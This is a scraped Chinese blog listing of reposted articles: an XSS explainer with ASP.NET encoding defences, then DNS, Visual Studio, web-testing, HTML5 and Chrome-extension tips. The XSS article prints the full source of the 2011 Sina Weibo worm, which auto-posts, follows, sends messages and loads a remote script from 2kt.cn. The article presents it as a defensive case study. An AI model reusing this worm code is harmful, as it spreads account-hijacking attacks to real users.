[转载]浅谈跨网站脚本攻击(XSS)的手段与防范_知识库_博客园

mikel阅读(1059)

[转载]浅谈跨网站脚本攻击(XSS)的手段与防范_知识库_博客园.

本文主要涉及内容:

1. 什么是XSS

2. XSS攻击手段和目的

3. XSS的防范

4. 新浪微博攻击事件

什么是XSS

网站脚本(Cross-sitescripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码 注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些 恶意网页程序通常是JavaScript,但实际上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

XSS攻击手段和目的

攻击者使被攻击者在浏览器中执行脚本后,如果需要收集来自被攻击者的数据(如cookie或其他敏感信息),可以自行架设一个网站,让被攻击者通过JavaScript等方式把收集好的数据作为参数提交,随后以数据库等形式记录在攻击者自己的服务器上。

常用的XSS攻击手段和目的有:

  • 盗用 cookie ,获取敏感信息。
  • 利用植入 Flash ,通过 crossdomain 权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
  • 利用 iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
  • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
  • 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。

预防手段【ASP.NET

下面展示,如何使用微软Anti-Cross Site 类库来免受XSS攻击。该类库不同于大部分采用包裹原则技术的编码类库来避免XSS攻击。它通过定义一个验证或被允许的字符集来工作,并且编码任何该字符 集之外的一切字符(比如他们就可能使无效字符或潜在的攻击)。它提供了比其他编码模式更多的优势。

示例应用

Contoso Bookmark Page 是一个简单的web应用,被设计用来允许朋友之间共享他们最喜欢的书签。用户键入他们的名字,描述以及书签或者书签的链接

  数据被保存在App Dataweb应用程序的一个称之为bookmarks.txt的文件中。并且在应用程序显示任何已被保存的书签时读取。当一个书签被提交,用户将看到下面的显示,然后被提供一个链接来回到原来的页面。

  如果应用程序成功地保存了用户提供的数据,书签的列表将被更新,任何其他的使用该应用的用户都可以使用这些被保存的书签。

  最终用户可以通过点击“DeleteBookmark File”来重置书签文件,这将导致bookmarks.txt文件从硬盘上删除。

攻击该应用

为了让一个恶意用户对应用发起XSS攻击,它们首先需要找到一些攻击的先决条件:

  • 该应用是不验证输入的
  • 该应用不对输出编码并且其中包含了一些不可信的输入

Contoso Bookmark Page应用的一个区域——感谢页面,就符合上面的这些“攻击条件”。当一个用户提交一个链接并且数据被保存,应用会通过响应提交的内容来“感谢”用户。

  注意,感谢页面的输出是通过使用没有验证的不可信的用户输入,并且在响应数据中使用了该输入而没有进行编码。对感谢页面代码的快速检查可以证明这一点。

一个恶意用户可以简单地利用该XSS攻击条件,通过欺骗用户来访问ThankYou.aspx页面,于此同时传入诸如<script>alert(‘XSSVector!’)</script>到用户名字段中。

  就像你上面看到的那样,脚本被恶意用户注入并在信任的用户浏览器中被执行。

下面一节,我们将通过一个正式的过程来识别或减轻这些问题。

注意:在XSS载体已经实施后之后,发现这些问题将会变得很快且很有价值。但如果有一种方式在软件开发的生命周期内致力于在任何代码执行或资源 提交之前做早期预测以及历届应用程序的威胁,这样的代价岂不是非常巨大?是的,而且这是一个过程,我们在这里使用微软IT所谓的“威胁建模”来称呼它。

保护你的应用

为了保护ContosoBookmark Page应用免受攻击,我们首先需要理解恶意用户能够使用哪些手段来进行这样的攻击。一种不错的想法是,我们应该在设计的时候就应该留意它,使用威胁建模 以及一个诸如TAM的工具。我们在应用程序已经被部署之后,使用如下步骤来处理:

  • 步骤一:审查ASP.NET代码生成的输出
  • 步骤二:决定是否输出包含危险的输入参数
  • 步骤三:决定是否将不被信任的输入上下文作为输出使用
  • 步骤四:对输出编码

在这一节,我们将使用示例应用来贯穿这些步骤,然后看看我们应该怎样使用微软的Anti-Cross Site Scripting类库 V1.5来避免用户遭受XSS攻击。

步骤一:审查asp.net生成输出的代码

记住,为了完成一次成功得XSS攻击,恶意用户必须找到一种方式在应用程序的输出数据中嵌入他们的某些恶意输入。因此,我们需要识别出应用程序 中产生输出的代码。这通常不是一件非常简单的任务,特别对那些大型项目而言,并且有些输出可能确实不必要进行编码。这些情况下,下面的表格可以帮助你处理 这些大量数据:

  为了正确使用该表格,我们首先要知道我们的应用是干嘛的。表格中的一些项我们可以立即填写:

  • 用例场景
  • 用例场景需要的输入
  • 输入是否可信
  • 场景的输出

注意:如果你不确信输入是否可信,宁可谨慎一点,假设他们是不可信的。不可信的输入包括:

应用程序级别的全局变量

  • Cookies
  • 数据库
  • 表单字段
  • 查询字符串变量
  • Session变量

基于我们的示例项目,这里我们对该表格可以这样填写:

  这时,当我们客观地填写了该表格,我们就可以很直观地看出,代码中有哪些是完成输出的:

  • 将书签实体写入文件的代码
  • 为用户生成感谢信息页面的代码

步骤二:决定是否输出中包含不可信的输入

在该步骤中,我们的目标是确定,是否在上一步筛选的输出中是否包含有任何不可信的用户输入。基于输入和输出场景,现在我们的表格看起来就像如下这样:

  注意:如果你不确定输出中是否包含不确定的输入,保险点,假设他们都是不可信的。

步骤三:决定是否使用编码函数

在该步骤,我们的目标是理解我们需要采用哪个编码方法来编码我们的响应数据。如果在表格中下面的条件完全满足,那么输出就有编码的必要:

  • 输入不可信(第三列有一个No输出)
  • 输出包含不可信的输入(第五列有一个yes输出)
  • 输出在web响应数据的上下文中使用

最终,我们需要决定使用哪个编码函数。接下来的表格将帮助你决定使用哪个编码函数:

  我们最终的表格看起来变成下面的样子:

  根据我们的表格,我们仅需要编码不可信的输入。

步骤四:编码输出

现在,我们已经决定了在什么场景下需要编码,其他需要做的就是将微软的Anti-Cross Site 类库加入到我们的项目中取,然后编码不可信的输入并将其内嵌到响应数据中。

在你安装了微软的Anti-CrossSite scripting类库之后,你可以通过如下步骤将引用添加到你的asp.net应用中去。

1、 右击项目名称

2、 选择添加引用选项

3、 在浏览弹出框中,选择安装的类库目录(%program files%\Microsoft Corporation\Anti-Cross Site ScriptingLibrary V1.5\Library\[.NET 1.1.NET 2.0])然后将dll添加到项目中。

  当我们已经添加了对Anti-CrossSite scripting类库的引用之后,我们就可以对感谢页面的输出进行编码。

1、 打开ThankYou.aspx的code-behind页面

2、 直接在引用中添加Microsift.Security.Application

3、在页面的Page_Load方法中,替代接下来的代码:

// Get the query string parameter 'Name', if it wasn't specified don't write anything String Name = Request.QueryString["Name"];替代 // Get the query string parameter 'Name', if it wasn't specified don't write anything String Name = AntiXss.HtmlEncode(Request.QueryString["Name"]);

4、 重新编译web应用

现在任何企图通过注入脚本到Name查询字符串字段的方式将会失败,因为不信任的数据以及被AntiXss.HtmlEncode方法嵌入到一个不可知性的表单中去了。

  注意:一个通常的错误是编码不止一次是错误的。这经常会导致输入显示得不正确。例如,一个Hello Microsoft!的输入,被传入Microsoft.Security.Application.AntiXss.HtmlEncode方法中两次, 将会导致浏览器打印出HelloMicrosoft&#38;&#35;33&#59;记住,你只需对不可信的输入编码一次即 可。

深度剖析

为了使恶意用户的攻击变得更加困难,这里有一个定义能够防止更深度的XSS恶意攻击。

将asp.net的validateRequest属性设置为true

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="ThankYou.aspx.cs" Inherits="ThankYou" validateRequest="true" %>

对所有的用户输入执行验证。

当不与XSS攻击有关的时候,一个额外的步骤可以帮助我们减少被攻击的危险,通过在应用程序启动的时候,给其设置一个更低级别的权限。在默认情 况下,应用程序是以完全信任的方式启动的。所以,当一个恶意用户访问应用的时候,他也是以一个完全可信的权限来执行相关操作。我们的应用简单地创建一个文 件或者向一个文件执行写操作或者读操作,这不需要完全信任的权限来执行这些。我们可以降低它的信任级别到“中级”通过在配置文件中进行如下设置。

<?xml version="1.0"?>
<configuration xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0">
<system.web>
<!-- Lowers trust level of application to only what we need, instead of full -->
<trust level="Medium"/>
</system.web>
</configuration>

另外的XSS攻击

我们忘记了一种用例场景。那就是用户看到的正确加载书签的地方(例如,另一个用户简单地导航到主页面)。在这种情况下,该场景的输入是bookmarks.txt文件。就算我们解决了感谢页面的问题,数据(诸如的脚本等)仍然被保存到了bookmarks.txt中。

  当用户刷新主页面以及打印出来的书签,注入的脚本仍将被执行。

  注意,用户也能够将脚本注入到描述以及书签字段,而不仅仅只是名称字段。我们需要编码任何我们需要从书签文件中读取的数据,因为我们将打印到浏览器上。

新浪微博的攻击事件

(2011年6月28日),新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建党大 业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等微博 和私信,并自动关注一位名为hellosamy的用户。

事件的经过线索如下:

20:14,开始有大量带V的认证用户中招转发蠕虫

20:30,2kt.cn中的病毒页面无法访问

20:32,新浪微博中hellosamy用户无法访问

21:02,新浪漏洞修补完毕

  XSS攻击代码简析

function createXHR(){   return window.XMLHttpRequest?
  new XMLHttpRequest():   new ActiveXObject("Microsoft.XMLHTTP"); } function getappkey(url){   xmlHttp = createXHR();   xmlHttp.open("GET",url,false);   xmlHttp.send();   result = xmlHttp.responseText;   id_arr = '';   id = result.match(/namecard=\"true\" title=\"[^\"]*/g);   for(i=0;i<id.length;i++){     sum = id[i].toString().split('"')[3];     id_arr += sum + '';   }   return id_arr; } function random_msg(){   link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;   var msgs = [     '郭美美事件的一些未注意到的细节:',     '建党大业中穿帮的地方:',     '让女人心动的100句诗歌:',     '3D肉团团高清普通话版种子:',     '这是传说中的神仙眷侣啊:',     '惊爆!范冰冰艳照真流出了:',     '杨幂被爆多次被潜规则:',     '傻仔拿锤子去抢银行:',     '可以监听别人手机的软件:',     '个税起征点有望提到4000:'];   var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;   msg = encodeURIComponent(msg);   return msg; } function post(url,data,sync){   xmlHttp = createXHR();   xmlHttp.open("POST",url,sync);   xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");   xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");   xmlHttp.send(data); } function publish(){   url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();   data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='   post(url,data,true); } function follow(){   url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();   data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';   post(url,data,true); } function message(){   url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';   ids = getappkey(url);   id = ids.split('');   for(i=0;i<id.length - 1 & i<5;i++){     msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();     msg = random_msg();     msg = encodeURIComponent(msg);     user = encodeURIComponent(encodeURIComponent(id[i]));     data = 'content=' + msg + '&name=' + user + '&retcode=';     post(msgurl,data,false);
  } } function main(){   try{     publish();   }   catch(e){}   try{     follow();
  }   catch(e){}   try{     message();   }   catch(e){}   }   try{     x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";     window.opener.eval(x);
  }
  catch(e){}
} main(); var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

这段代码相对来讲,还是有点含量的,它使微博广场的URL在请求中注入了JS文件,JS请求完成后,会自动执行,并借发布的微博(包含了对攻击 站点的链接)等对2kt.cn的站点完成了攻击。可以看到,其中的main函数,它调用了publish、follow、message几个函数,帮你做 那些坏事。

总结

可见XSS攻击的方式其实还是很多的,让你防不慎防。但是,有时你会发现他们的某些共性——注入再利用浏览器自动执行。所以,你必须在不可信的输入与输出上严格把关!

[转载]站长常见的三个域名解析问题的分析和解决办法 - CplusHua - 博客园

mikel阅读(857)

[转载]站长常见的三个域名解析问题的分析和解决办法 – CplusHua – 博客园.

很多朋友在解析域名方面会存在问题,比如:

1.为什么别人已经能够打开我的站点,而我自己却打不开?

2.已经更改域名解析,还未生效,我还需要做什么吗?

3.我想要将网站搬到别的主机上,但是担心将网站程序部署到别的主机上不能一次成功,影响网站访问和SEO怎么办?

现将针对以上问题对大家的疑问进行解答: 首先,小编在这里为大家简单讲解一下个人计算机请求域名的解析过程,并附上解决以上问题的方法。

(1)在我们访问网站的过程中,我们的PC机会先行查询主机hosts文件,这个文件的位置位于c:/windows/system32/drivers/etc下,里面记录了域名和IP地址的对应关系,当这个文件中存在相应的域名和IP地址的对应关系的时候,我们的PC机便从中读取相应的IP地址信息,并开始请求网站页面。平时我们在搭建本地服务器时使用的localhost127.0.0.1都能够解析到本地服务器,是一个道理。因为默认情况下,hosts文件中都是有localhost127.0.0.1这个IP地址的对应关系的。

(2)正常情况下我们登录网站都是需要向专用的DNS服务器发起域名解析请求的。比如联通、电信都有自己的专用DNS服务器为用户提供域名解析服务。当然除了运营商提供给我们的DNS服务器外,也有一些免费提供域名解析服务的服务器,比如Google8.8.8.88.8.4.4。当我们访问网站的时候,如果查找发现本地PC机的hosts文件中没有域名和IP地址的对应关系,我们的PC机便会向域名解析服务器发起请求,请求域名解析,当域名解析服务器收到解析域名的请求会就会返回给用户该域名所对应的IP地址信息,此时浏览器就会向此IP地址发起请求,请求目标页面。

(3)由于一般情况下,域名和IP地址的对应关系在同一个网络环境下存在一定的确定性,也就是说在一定时间内域名和IP地址存在确定的对应关系,所以我们的PC机会内建一个DNS缓存,这个DNS缓存会记录用户已经访问过的网站的域名和IP地址的对应关系(这个对应关系可以通过命令行查看,按住Win键再按R,输入CMD,在输入ipconfig /displaydns即可显示域名和IP地址的对应关系,其中包含了DNS缓存和本机hosts文件给定的域名和IP地址的对应关系)。当用户再次访问相同的域名的时候,就会直接从本机的DNS缓存中读取相应的域名IP地址的对应关系来加快访问目标页面的速度。 在介绍了域名解析的整个过程后,您可能依然不知道该如何解决以上的问题,其实有了这个作为理论基础,解决以上问题就会变得简单许多,而且在以后遇到类似的问题时,也就能够迅速判断得到是由于什么原因造成的域名无法正常解析的问题。 好了,废话少说,上方法。

 

问题1:为什么域名生效了,别人已经能够打开我的站点,而我自己却打不开? 答:原因很简单,没有刷新本地DNS缓存。

解决方法:Win+RCMD,输入ipconfig /flushdns即可刷新DNS缓存。关闭所有浏览器再重新打开,是否可以正常打开了呢?很神奇,网站正常打开了!  

                                                                                                           

 

问题2:已经更改域名解析,还未生效,我还需要做什么吗? 答:正如我们的PC机一样,DNS递归服务器也是有缓存的,DNS服务器在全球更新DNS缓存的时间可能长达72小时,一般情况下在48小时之内即可完成全球范围的解析,甚至更快!短的可能只需要几秒钟即可,这个视具体网络环境而定,在此期间,您可以通过修改hosts文件的方法访问到您的网站,具体方法见问题3

问题3:我想要将主机搬到别的主机上,但是担心将网站程序部署到别的主机上时不能一次成功,影响网站访问和SEO怎么办?

答:针对这个问题,小编为您精心准备了解决方案,并且能够尽可能避免此种情况的发生。如果您想要把自己的网站搬到别的主机上,但是在网站搬家的时候更改域 名指向,等待生效,然后测试网站程序能否正常工作,这样会非常麻烦,而且危害更大的是如果网站没有在域名生效之后正常工作,还可能会影响网站访问和网站的SEO,但是没办法及时的将域名改回原来的虚拟主机站点,因为域名在全球解析生效最长可能需要72小时。 好了,针对以上问题,上方法: 打开c:/windows/system32/drivers/etc 找到hosts文件,加入一条记录  www.xxx.com xxx.xxx.xxx.xxx ,前面的www.xxx.com为您的域名,后面为您的主机的IP地址,加入这样一条记录之后保存。如果您是win7的系统可以将该文件复制出来更改完毕之后再粘贴覆盖原来的文件,系统询问需要管理员权限是否继续,选择继续即可。如果您的电脑安装了小红伞或者360之类的软件,可能会阻止您修改hosts文件,将这类软件的该项功能暂时关闭或者添加信任即可。    

               

 

加入这样的一条记录后,您就可以打开浏览器,输入您的域名,即可将该域名解析到目标主机的IP地址,这样即可访问目标主机。注意,这样的解析仅在本机生效,别人访问您的网站依然是未修改前的IP地址。 在这之后您想要进行网站搬家,测试新网站就可以畅通无阻了。

[转载]100+个程序员开发必备参考手册(在线及下载) - BeiYuu - 博客园

mikel阅读(872)

[转载]100+个程序员开发必备参考手册(在线及下载) – BeiYuu – 博客园.

即使经验丰富,天赋过人,也不得不承认,你并不能记得所有的东西,尤其是各种各样的语言的API,参考手册(Cheat Sheet)和Google肯定是必备,为了更方便的使用,也有很多有心的人收集整理了很多,比如下面这些。

不过,在这之前再推荐一个最近发现的插件,将这些一网打尽,很不错的体验:

All Cheat SheetAll Cheat Sheets Chrome Extension

如果插件打不开,也可以直接打开网站 http://overapi.com

 

JQuery

 

JavaScript

 

PHP

 

HTML/XHTML

 

CSS

 

MySQL

 

Python

 

Ruby

 

Actionscript

 

ASP

 

Flash

 

ASCII Character Codes

 

XML

 

Apache

 

Ajax

 

C# and VB.NET

 

CVS

 

C++

 

Django

 

Firefox

 

Google

 

Java

 

Microformats

 

Misc

 

Oracle

 

Perl

 

Photoshop/Gimp

 

Regular Expressions

 

Unix/Linux

 

Weblog

 

Windows

 

更多可以查看这里: http://overapi.com

[转载]用了多年C#,你可能不知道的几个Visual Studio编码技巧 - zhoujie - 博客园

mikel阅读(917)

[转载]用了多年C#,你可能不知道的几个Visual Studio编码技巧 – zhoujie – 博客园.

用了多年的Visual Studio,今天才发现这个编码技巧,真是惭愧,分享出来,算是抛砖引玉吧!

开发环境: vs2010+C#

1、代码重构

新建类

如果你还像我以前一样使用右键快捷菜单新建类,那就太Out了。VS的那个“新建项对话框”出来的很慢,很影响心情。
当你发现需要定义一个类时,正确的方法:
1)在当前代码处定义上类名,例如:List<NewClass> ls;
2)焦点移动到NewClass处,按下ctrl + .(“点”)
3)回车。
这样类就建好了。此方法还适用于类的方法、属性、字段,重命名字段方法名等

2、提取方法

有时我们发现自己老是在写同一段代码,可以提取一个方法,怎么弄?跟我一起做
1)不用鼠标选中我们的代码
2)按下ctrl+r,按下m (注意这是分两次按的)
3)在弹出的对话框内输入方法名称,回车

3、插入快捷短语

快速定义依赖属性
1)输入propd
2)快速按两次Tab键
3)在选中区域输入,按Tab键切换到下一个区域,完成后回车。
其实刚才插入的是一个快捷代码短语snippet,vs可以自己定义的,通过“工具”菜单=>代码段管理器。

4、其他快捷键:

快速切换标签页:ctrl+tab
跳到单词开始或结束位置:ctrl+左右箭头
全屏编辑代码:shift+alt+enter
调出即时窗口:ctrl+alt+i

多会一些快捷键,可以减少鼠标键盘的来回切换,有效节省编码时间。

[转载]推荐几款热门的网站测试工具 - 花香 - 博客园

mikel阅读(1072)

[转载]推荐几款热门的网站测试工具 – 花香 – 博客园.

网站测试是在web开发当中常用的的方法,该方法是用来测试的网站的速度,可用性和性能。一个网站必须具有良好用户体验的,跨浏览器的兼容性。今天将讨论流行的网站测试工具,这对于提升我们的网站性能具有非常实际的帮助意义

 

  • Page Speed Online这是一个著名的基于Web的应用程序的Chrome浏览器扩展在输入框填写要测速的网页地址,点击“分析性能”,就能得到Google给出的“桌面版建议”,这是指在PC下浏览的建议,也可以指定“移动版建议”。Page speed online会分析网页的内容,然后生成关于如何提高网页速度的建议。
  • PingdomPingdom tools,是一项免费的线上服务,可让让测试你的网站加载速度,你只需要输入你的网址,就可以轻松得到一份有关你的网站加载的详细资料,包括图片, CSS, JavaScripts, flash和RSS等。
  • Load Impactload impact是非常重要的网站测试工具,它可以让用户知道有多少用户在在同一时间从不同的地点访问一个网站。他同时分析这个网站从服务器上加载的速度有多快。当你输入网址的时候注意你看到的是页面加载时间。他会使用不同位置的50个并发用户来测试一个网站的速度和上传时间。由于他使用起来非常方便,现在他被世界各地广泛使用
  • Browser Mob这也是来衡量网站速度的非常重要的工具也可以测量用户的网站速度,也是非常的实用
  • BowseraBrowsera主要检查浏览器的网站。这很容易检查跨浏览器的设计和错误的脚本。Bowsera检查每一个浏览器,并相互比较不同的跨浏览器布局,并报告发生在任何浏览器的错误。这很容易测试动态和整体的网站页面性能
  • Host Tracker是一家提供全方位网络测速的网站,分别从全球30多个服务器访问你的网站,全方位的了解你的网站被访问情况,测速后分别给出访问结果、速度等数据,这也是网络性能和可用性为基础的测试工具,它监视网站的错误,并在每天,每月,或者每年发送通知给站长它支持HEAD / HTTP / POST过程。
  • Web Page AnalyzerWeb page analyzer是非常重要的测试工具来测量速度,加载时间,上传时间和网站可用性的整体性能。

[转载]这些编程工具你都用过吗?_IT新闻_博客园

mikel阅读(800)

[转载]这些编程工具你都用过吗?_IT新闻_博客园.

本文的作者是 SEP 公司的软件工程师 Matt Swanson。在编程的世界里面,他喜欢不断的用一些新的“工具”去编写小项目。而在这篇博文里面,他向我们介绍了他最近迷上的“武器”,比如说 Heroku、Bootstrap 等。对这些开发工具有兴趣的人可以往下读。

我非常喜欢编写一些小项目,这是因为我能够不断尝试新的“武器”开发软件。一旦我喜欢上它们,我就会不断的训练自己,尽可能让自己熟悉这些工具。以下是我最近爱不释手的工具:

编程语言:Ruby

  如果我说两年前就迷上了 Ruby,估计你也不会相信。其实我一直在使用 Python,这种语言非常容易上手,而且让我迷上了编程。

虽然 Ruby 有点怪异,甚至在某些语法上比不上 Python,但是在框架方面,我喜欢 Rails 多过于 Django。而轻量级框架 Sinatra 也快跟上了 Flask。

在一次性脚本方面,我比较偏向 Python。如果最近要写什么 Web 项目的话,我会果断选择 Ruby。因为它没有臃肿的 IDE,不需要繁杂的步骤就能轻松运行程序。最重要的是,Ruby 的社区非常活跃,那里可以让全世界的 Ruby 开发者进行学习讨论和资料分享。

数据库:MongoDB

  暂时把那些什么伸缩性、可靠性等指标搁置一边吧。

我之所以那么喜欢 MongoDB,是因为它和我的想法相符。我非常喜欢它的文档存储概念和即席查询功能,因为这些可以满足我的编程需求。更重要的是,MongoDB 不需要严格的对象集合,也不需要定义一串的表。

平台:Heroku

  Heroku 是一个云计算应用平台,提供了一个全新的方式去开发 Web 应用。它里面有许多插件,比如说我所钟爱的 MongoHQ、Cron 和 SendGrid 等。最近我为了一个项目花了很多时间去配置 Nginx、Unicorn 和 Capistrano,我发现 Heroku 使得这一切都变得非常简便。

前端开发:Bootstrap css3-github-buttons

  Bootstrap 是一个强大的前端开发框架,它便于使用,而且默认字体、表格等组件看起来都非常平整。css3-github-buttons 项目提供了一些列的按钮和图标,它非常容易上手。你可以通过其官网的介绍进行学些。

其实我还是有一些自知之明的——我并不能成为一个设计师。没有这两套工具的话,我的项目的界面会非常难看,而这两套工具弥补了我的不足。

这些“武器”是我花了一个多小时从维基百科上找到的,他们的共同特点是非常轻量级而且可伸缩性强。如果你也像找一些合适的工具的话,请访问这里

Via:swanson

[转载]HTML5资料整理 - Luics - 博客园

mikel阅读(1135)

[转载]HTML5资料整理 – Luics – 博客园.

项目组要做html5这块,花了一周左右时间收集的,快有一年时间了,部分内容需要更新,仅供参考。

 

几点说明:

  1. 本次收集的信息以HTML5为主,这里的HTML5 ~= HTML5 + JavaScript + CSS3
  2. 以下资料的协议相关部分主要来自W3CWHATWGdemo库和开发工具等主要来自IT企业、技术组织的官网或其信息站点
  3. W3C正式发布的协议称为Recommendation(推荐),下文中“协议”、“推荐”、“REC”是同义词;“协议”未通过之前以“草案”的形式存在

[基本信息]

2个组织

  • W3C,万维网联盟,Web标准制定者
  • WHATWG,由浏览器厂商的员工发起的非正式组织,致力于改进HTML,其成员来自MozillaOperaAppleGoogle

HTML5发展

  • HTML 4.011999年发布,2000W3C发布了XHTML 1.0
  • 第一份正式草案公布于2008.1.22,最新草案发布于2011.9.6
  • HTML5草案的前身为Web Applications 1.0,2004年由WHATWG提出,2007年被W3C接纳,并成立了新的HTML工作组(合并XHTML团队)

“WHATWG致力于web表单和应用程序,而W3C专注于XHTML 2.0。在2006年,双方决定进行合作,来创建一个新版本的HTML” —— 摘自W3school

  • WHATWG目前仍然是HTML5的主力,HTML5的最新进展会发布在这两个组织的官网,以下默认使用W3C公布的信息

HTML5的新特性体现在下图显示的8个部分,HTML5希望创建一个有本地存储、富客户界面、高效网络IOWeb AppHTML5 Presentation是以下文字和图表更加直观的版本:

  • 语义(Semantic),新增headerfooternavfig等含有语义的标签,以及一系列含有语义的标签属性
  • 离线&存储(Offline&Storage),主要包括Local Storage、Indexed DB、File API
  • 设备访问(Device Access),定位信息已经广泛应用,其他还有视频、音频流(如语音输入 ),移动设备的传感器(如方向传感器)
  • 网络连接(Connectivity),增加Web Socket、服务器数据推送
  • 多媒体(Multimedia),增加videoaudio标签,提供原生的视频、音频访问
  • 图形接口(GDI),增加canvas标签,提供2D3D GDI,现已有第3方的WebGL可以提供3D加速渲染
  • 性能&整合(Performance & Integration),Web Workers实现脚本后台运行,并提供前后台交互接口,XMLHttpRequest 2提供更好的网络IO
  • CSS3,目前仍在开发之中,主流浏览器已经支持其中部分特性Dashboard是更完整的CSS3 demo

最新进展参见WHATWG NewsW3C HTML首页

[Demo]

这里将所有demo库粗略分为应用和游戏,涵盖了组织、企业、个人开发或收集的demo

[应用demo]

EdgeSamplesAdobe Edge制作的html5动画

Html5Rocks Google demo

  • HTML5 Presentation h5ppt,详细介绍了h5的新特性,里面的demo可直接玩
  • WebGL Globe,使用WebGL 3D加速,展示canvas 3D特性
  • Ascii Art,使用WebSocket同步服务器数据(字符视频)
  • Notification TimeNotification API,提供页面范围以外的消息提示,目前主流浏览器中只有chrome实现
  • Drag n Drop Photos, 拖拽文件到浏览器,使用DnDFile API
  • Page Flip,书本翻页,基于CSS3 2D transformanimation

html5demos ,人气很高的第三方demo库,提供按特性过滤查看demo

Web O’ Wonder,奇幻网络,Mozilla提供的demo

  • Dashboard,展示HTML5CSS3SVGJS等技术的新特性,CSS3demo很丰富

Safari Technology DemosApple提供的demo

  • Photo Transitions,图片切换的动画效果
  • Gallery,幻灯片,多种展现模式:水平、垂直、3D滚动..
  • 虚拟现实(VR),基于css3 transforms
  • 360°360°旋转,本以为是3D效果,竟然用了72张图片

IE Test DriveMicrosoftIE开的demo库站点,大量html5demo

10K ApartHTML5竞赛作品,基本要求是打包后10KB以内

canvasdemos,专注于canvasdemo

HTML5研究小组收集的demo,“HTML5研究小组”是中国首个HTML5推广和交流的开放组织

一些零散的demo

[游戏demo]

Mozilla Labs GamingMozilla官方的html5游戏demo库,下面是库中获奖作品

  • Marble Run,冠军游戏(best web-iness),画面精细,chrome13下运行较流畅(汗)
  • Robots are people too,获得“最有趣奖”(most fun

html5games,第三方游戏demo

HTML5研究小组收集的游戏demo

游戏引擎:ImpactRocketGameClosureYoYo

一些零散的demo

  • CubeSpace,搭积木,强大的回放功能

[兼容性]

Html5 test,提供html5新特性的检测

html5兼容性手册

  • Where can I use..,提供详尽的兼容性信息,提供按特性查找
  • HTML5 readiness,数据来源于前者,提供按时间查询HTML5兼容性,有趣的展现形式

Compatibility Master Tablequirksmode提供的兼容性数据库,涵盖了DOMCSSJS

HTML5 in FirefoxMozilla 提供的Firefox html5兼容性列表

HTML5 in ChromeChromium提供的开发进度信息

HTML5 in IE官方版本非官方版本

Mobile HTML5Mobile BrowserHTML5的支持

兼容性工具

[开发]

开发手册&文档

EdgeAdobe开发的html5动画制作工具,生成的动画依赖的库较多,直接用于mobile设备文件过大

Swiffyflashhtml5工具

ModernizrJavaScript库,对html5css3 做退化处理

CSS3-HTML5之家,国内的一个站点

HTML5研究小组

ScirraHTML5 游戏开发平台(付费)

[转载]Chrome扩展开发常见问题汇总 - slmk - 博客园

mikel阅读(1034)

[转载]Chrome扩展开发常见问题汇总 – slmk – 博客园.

有时我们需要看看我们的程序是否按照我们预想的那样执行了,可以输出一些调试信息,如下:

console.log("clicked");

那这样信息在哪里查看呢?其实有两个地方,这取决于log语句在后台执行,还是前台执行。

这个功能还可以测试js语句是否执行正确。

分清前台还是后台

chrome扩展的开发语言是js,后台background的js代码通常掌握整个扩展程序的运行状态;而前台js可以控制和操作我们打开的Tab页面的DOM树,例如点击某链接,改变当前页面的背景颜色等。后台js在manifest.json文件中配置:

复制代码
{  "name": "我的chrome插件",
  "version": "1.0",
  "manifest_version": 2,
  "description": "第一个chrome插件!",
  "browser_action": {
    "default_icon": "icon.png"
  },
  "options_page": "options.html",
  "background": { "scripts": ["background.js"] }, "permissions": [ "tabs", "http://*/*" ] }
复制代码

以上配置了扩展程序的名称、描述、版本、类型(在工具栏里添加一个图标),后台js、选项页面和权限。

后台js在插件加载后立即执行并常驻内存,不像前台页面js变量状态会因为页面的重新加载而失效。所以,对于需要保持状态的变量,只能定义在后台js里。

那么前台如何访问这些变量呢?通过消息传递。

消息传递

消息传递很重要,因为前后台的分工不同,要完成一件事情,通常需要前后台相互协作才能完成。

1、后台send

复制代码
chrome.tabs.sendMessage(dTabid,
 { 'msg': '传给前台的消息' }, function(response) { //回传函数 
 }); //dTabid是前台Tab的id
复制代码

前台listen:

//接收消息
chrome.extension.onMessage.addListener(function(request, sender, sendResponse) { console.log('收到消息' + request.msg); }); 

2、前台send:

chrome.extension.sendMessage({'msg':'前台发给后台的消息'},function(response) { //后台又回复过来的 
});

后台listen:

chrome.extension.onMessage.addListener(function(msg, _, sendResponse) {   console.log("收到消息,开始任务");
}

让前台执行js代码

chrome.tabs.executeScript(sTabid, { file: "click.js" });

sTabid表示要执行代码的标签页的id,如果为null,表示当前标签页。有时页面还没有加载完成,可以通过订阅window.onload事件或者使用setTimeout延时几秒再执行。

